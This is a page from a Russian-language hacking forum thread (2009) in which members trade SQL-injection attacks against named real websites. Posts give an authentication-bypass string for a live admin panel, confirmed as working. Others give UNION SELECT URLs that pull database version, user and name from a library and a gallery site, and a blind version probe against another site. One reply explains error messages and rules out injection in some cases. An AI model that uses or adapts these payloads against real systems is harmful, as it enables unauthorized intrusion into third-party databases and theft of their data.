HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 449 из 2422 « Первая < 349399439 445 446 447 448 449 450 451 452 453 4594995499491449 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 07.01.2009, 13:37
4adr0s
Познающий
Регистрация: 14.12.2007
Сообщений: 79
Провел на форуме:
329826

Репутация: 75
По умолчанию
Цитата:
Сообщение от :o)  
4adr0s, в первом случае что бы не мучатся сделай так:
заходишь сюда: http://gps-ru.ru/admin/
в поле login пишешь ' or 1=1/* в поле password что угодно.
Гы! Проехало!
 
Ответить с цитированием

  #2  
Старый 07.01.2009, 16:33
zifanchuck
Постоянный
Регистрация: 27.10.2008
Сообщений: 491
Провел на форуме:
4002393

Репутация: 464
Отправить сообщение для zifanchuck с помощью ICQ
По умолчанию
Вот нашел скулю
Цитата:
http://www.niobraracountylibrary.org/obituaries/?id=2769'
роскрутил чуть чуть
Цитата:
http://www.niobraracountylibrary.org/obituaries/?id=2769'+union+select+1,2,3,4,5,6,7,8,9,10,11,12, 13,14,15,16,17/*
дальше начались траблы подставляю вместо 14 version()

Цитата:
http://www.niobraracountylibrary.org/obituaries/?id=2769'+union+select+1,2,3,4,5,6,7,8,9,10,11,12, 13,version(),15,16,17/*
выдает ошыбку. Решил перевести в чар получился такой запрос
Цитата:
http://www.niobraracountylibrary.org/obituaries/?id=2769'+union+select+1,2,3,4,5,6,7,8,9,10,11,12, 13,CHAR(118,101,114,115,105,111,110,40,41),15,16,1 7/*
вместо 14 терь стоит version(). Как узнать версию???
 
Ответить с цитированием

  #3  
Старый 07.01.2009, 16:43
geezer.code
Reservists Of Antichat - Level 6
Регистрация: 22.01.2007
Сообщений: 616
Провел на форуме:
7452489

Репутация: 1359


По умолчанию
Цитата:
Сообщение от zifanchuck  
Как узнать версию???
вот так
Код:
http://www.niobraracountylibrary.org/obituaries/?id=2769%27+union+select+1,2,3,4,5,6,7,8,9,10,11,12,%2013,unhex(hex(version())),15,16,17/*
 
Ответить с цитированием

  #4  
Старый 07.01.2009, 16:56
zifanchuck
Постоянный
Регистрация: 27.10.2008
Сообщений: 491
Провел на форуме:
4002393

Репутация: 464
Отправить сообщение для zifanchuck с помощью ICQ
По умолчанию
спс
вот начал подбирать имена таблиц и тут ввел mysql.user и ответ получил не такой как всегда:
MySQL Error: Access denied for user 'dsturman'@'208.113.192.0/255.255.224.0' to database 'mysql' может тут какая-то привязка по ИР
Цитата:
http://www.niobraracountylibrary.org/obituaries/?id=2769'+union+select+1,2,3,4,5,6,7,8,9,10,11,12, 13,999,15,16,17+from+mysql.user/*
 
Ответить с цитированием

  #5  
Старый 07.01.2009, 17:26
Vlad3d
Участник форума
Регистрация: 18.01.2008
Сообщений: 158
Провел на форуме:
2441184

Репутация: 106
По умолчанию
http://hackzona.net/index.php?id=p=authorization&auth_username=111-222-1933email@address.com&auth_password=%5C%22&auth_au tomatic=off

http://hackzona.net/?id=1'&s=silvermail.info
вообще хз что значит

Код:
Warning: mysql_numrows(): supplied argument is not a valid MySQL result resource in /home/users/s/slavon-x86/docs/sql/main.php on line 14
Последний раз редактировалось Vlad3d; 07.01.2009 в 17:28..
 
Ответить с цитированием

  #6  
Старый 07.01.2009, 17:26
LiRvD08
Новичок
Регистрация: 03.01.2009
Сообщений: 2
Провел на форуме:
12608

Репутация: 0
По умолчанию
При добавлений задачи на http://cronjob.ru появилась следующая ошибка:

Код:
Warning: mysql_result() [function.mysql-result]: Unable to jump to row 0 on MySQL result index 7 in /sql/hosts/cronjob.ru/act.php on line 54
Интересно что это значит.
 
Ответить с цитированием

  #7  
Старый 07.01.2009, 17:42
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме:
3244717

Репутация: 1980
Отправить сообщение для [Raz0r] с помощью ICQ
По умолчанию
Цитата:
http://www.heroeswm.ru/battlechat.php?warid[]=
Чё означает эта ошибка?
NOT_A_SCALAR_PLACEHOLDER_0 явно свидетельствует об использовании библиотеки для работы с БД, заменяющая так называемые плейсхолдеры ? в SQL-запросах на те данные, которые указаны в качестве аргументов к функции выполнения запросов. Данные в аргументах обрабатываются в соответствии с типом, что исключает возможность проведения SQL-инъекций. В данном случае используется DbSimple от Дмитрия Котерова, уязвимости здесь нет.

Цитата:
Сообщение от LiRvD08  
При добавлений задачи на http://cronjob.ru появилась следующая ошибка:

Код:
Warning: mysql_result() [function.mysql-result]: Unable to jump to row 0 on MySQL result index 7 in /sql/hosts/cronjob.ru/act.php on line 54
Интересно что это значит.
Значит MySQL вернул пустой результат, т.е. в коде отсутствует проверка с помощью функции mysql_num_rows()

Цитата:
Сообщение от zifanchuck  
спс
вот начал подбирать имена таблиц и тут ввел mysql.user и ответ получил не такой как всегда:
MySQL Error: Access denied for user 'dsturman'@'208.113.192.0/255.255.224.0' to database 'mysql' может тут какая-то привязка по ИР
все просто - у текущего пользователя dsturman нет доступа к базе данных mysql

Цитата:
Сообщение от Vlad3d  
http://hackzona.net/index.php?id=p=authorization&auth_username=111-222-1933email@address.com&auth_password=%5C%22&auth_au tomatic=off

http://hackzona.net/?id=1'&s=silvermail.info
вообще хз что значит

Код:
Warning: mysql_numrows(): supplied argument is not a valid MySQL result resource in /home/users/s/slavon-x86/docs/sql/main.php on line 14
на лицо ошибка в логике скрипта, однако SQL-инъекцию здесь вряд ли можно провести, так как данные обрабатываются функцией preg_match(). Об этом свидетельствует ошибка : preg_match() expects parameter 2 to be string, array given при передаче массива в параметре id:
http://hackzona.net/?id[]=1&s=silvermail.info
Последний раз редактировалось [Raz0r]; 07.01.2009 в 17:58..
 
Ответить с цитированием

  #8  
Старый 08.01.2009, 06:40
sabe
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552

Репутация: 568
Отправить сообщение для sabe с помощью ICQ Отправить сообщение для sabe с помощью AIM Отправить сообщение для sabe с помощью Yahoo
По умолчанию
Цитата:
http://www.moreyspiers.com/gallery.php?cat_id=14'
непохек?
 
Ответить с цитированием

  #9  
Старый 08.01.2009, 12:10
geezer.code
Reservists Of Antichat - Level 6
Регистрация: 22.01.2007
Сообщений: 616
Провел на форуме:
7452489

Репутация: 1359


По умолчанию
2z00man
Код:
http://www.tk-expo.ru/news/?id=8+and+51=ascii(substring(version(),1,1))--
3я ветка мускула.
 
Ответить с цитированием

  #10  
Старый 08.01.2009, 14:06
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию
Цитата:
Сообщение от sabe  
непохек?
http://www.moreyspiers.com/gallery.php?cat_id=-15'+union+select+1,concat_ws(0x3a,User(),Database( ),Version()),3,4,5,6,7,8+--+
Цитата:
Сообщение от R1dex  
Раскрытие путей..
Не торопись
 
Ответить с цитированием
Ответ
Страница 449 из 2422 « Первая < 349399439 445 446 447 448 449 450 451 452 453 4594995499491449 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Сценарии/CMF/СMS 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ